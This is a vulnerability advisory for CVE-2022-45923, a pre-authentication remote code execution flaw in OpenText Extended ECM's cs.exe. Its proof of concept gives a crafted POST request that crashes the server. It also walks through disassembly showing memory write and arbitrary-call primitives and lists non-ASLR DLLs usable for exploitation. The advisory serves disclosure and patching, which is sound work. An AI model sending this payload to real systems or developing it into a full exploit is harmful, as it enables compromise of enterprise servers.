Vendor description
"OpenText™ Extended ECM is an enterprise CMS platform that securely governs the information lifecycle by integrating with leading enterprise applications, such as SAP®, Microsoft® 365, Salesforce and SAP SuccessFactors®. Bringing content and processes together, Extended ECM provides access to information when and where it’s needed, improves decision-making and drives operational effectiveness."
Source: https://www.opentext.com/products/extended-ecm
Business recommendation
The vendor provides a patch which should be installed immediately.
Vulnerability Overview/Description
1) Pre-authenticated Remote Code Execution in cs.exe (CVE-2022-45923)
The Common Gateway Interface (CGI) program cs.exe of the Content Server has a vulnerability, which allows an attacker to increase/decrease an arbitrary memory address by 1 and to trigger a call to a method of a vftable with a vftable pointer value chosen by the attacker.
The cs.exe does de-serialize (crack) the user provided data in the `_fInArgs` parameter, if the parameter `_ApiName` is set. During this de-serialization to a `class KOSValue` object, the function `obj_ref_cracker` can be called. This function tries to create a new `class KOSValue` object with an unknown class ID of `3`.
As the class ID is unknown the function returns an object of type KOSValueBaseClass instead of KOSObjRefClass, but the value of the class_ptr attribute of the new class KOSValue object is controlled by the attacker. This new object can then be used to increase/decrease arbitrary memory addresses and call methods of its vftable via the functions KOSValueBaseClass::AddReference and KOSValueBaseClass::ReleaseReference.
Proof of concept
1) Pre-authenticated Remote Code Execution in cs.exe (CVE-2022-45923)
The following request crashes the `CGI` binary cs.exe with an access violation exception - 0xC0000005 trying to read memory from address 0xAAAA+8:
POST /OTCS/cs.exe HTTP/1.1
Host: opentext-dev
Content-Type: application/x-www-form-urlencoded
Origin: http:// opentext-dev:8002
Referer: http:// opentext-dev:8002/ [...]
_ApiName=foo&_fInArgs=<@urlencode_all>A<1,?,'_ApiName'='SessionFree','_ConnectionName'=#AAAA>
<@/urlencode_all>The implementation of the function `KOSValueBaseClass::AddReference` tries to execute the following instructions:
# KOSValueBaseClass::AddReference
00007FFC2195BCA0 | 4C:8BC1 | mov r8,rcx | ?AddReference@KOSValueBaseClass@@UEBAXPEAX@Z
00007FFC2195BCA3 | 48:85D2 | test rdx,rdx |
00007FFC2195BCA6 | 74 46 | je llkernel.7FFC2195BCEE |
00007FFC2195BCA8 | 803D E1331400 00 | cmp byte ptr ds:[7FFC21A9F090],0 |
00007FFC2195BCAF | 75 05 | jne llkernel.7FFC2195BCB6 |
00007FFC2195BCB1 | F0:FF42 08 | lock inc dword ptr ds:[rdx+8] |
00007FFC2195BCB5 | C3 | ret |The attacker controls `RDX` at 0x00007FFC2195BCB1, as the value is from `#AAAA` of the payload. This can be used as a `increase where 1` primitive and the same logic applies to the function `KOSValueBaseClass::ReleaseReference`, which can be used as a `decrease where 1` primitive. Furthermore, the method `KOSValueBaseClass::ReleaseReference` can be used to call an arbitrary code location.
# KOSValueBaseClass::ReleaseReference
00007FFC2195BD17 | B8 FFFFFFFF | mov eax,FFFFFFFF |
00007FFC2195BD1C | 75 1D | jne llkernel.7FFC2195BD3B |
# ........
00007FFC2195BD3B | 48:897C24 30 | mov qword ptr ss:[rsp+30],rdi |
00007FFC2195BD40 | 40:32FF | xor dil,dil |
00007FFC2195BD43 | F0:0FC142 08 | lock xadd dword ptr ds:[rdx+8],eax |
00007FFC2195BD48 | 83F8 01 | cmp eax,1 |
00007FFC2195BD4B | 75 10 | jne llkernel.7FFC2195BD5D |
00007FFC2195BD4D | 0FB6F8 | movzx edi,al |
00007FFC2195BD50 | 49:8BC8 | mov rcx,r8 |
00007FFC2195BD53 | 48:8B02 | mov rax,qword ptr ds:[rdx] |
00007FFC2195BD56 | BA 01000000 | mov edx,1 |
00007FFC2195BD5B | FF10 | call qword ptr ds:[rax] |Again, the attacker controls `RDX`. First the function decreases `DWORD PTR [RDX+8]` by 1. If the previous value is `1` it gets the `vftable ptr` via the instruction `mov rax, QWORD ptr [RDX]` and then calls the first method in the `vftable` ( the `destructor`): `call QWORD PTR [RAX]`.
There are .dll files (libaprutil-1 & libapriconv-1.dll) which are not compiled with the security flag Address Space Layout Randomization - ASLR enabled, which can be used to achieve remote code execution.
.\winchecksec.exe --json (get-item C:\OPENTEXT-22\cgi\*.dll) > .\checksec-results.jsoncat checksec-results.json | jq -r '.[] | [.path, .mitigations.aslr.presence] | @csv'
"icudt69.dll","Present"
"icuin69.dll","Present"
"icuio69.dll","Present"
"icutu69.dll","Present"
"icuuc69.dll","Present"
"jsoncpp.dll","Present"
"libapr-1.dll","Present"
"libapriconv-1.dll","NotPresent"
"libaprutil-1.dll","NotPresent"
"libcrypto-1_1-x64.dll","Present"
"libexpat.dll","Present"
"libssl-1_1-x64.dll","Present"
"llcrypt.dll","Present"
"llisapi.dll","Present"
"llkernel.dll","Present"
"llresources.dll","Present"
"log4cxx.dll","Present"
"PocoFoundation.dll","Present"
Vulnerable / tested versions
The following version has been tested:
- 22.1 (16.2.19.1803)
The following versions are vulnerable according to the vendor:
- 20.4 - 22.3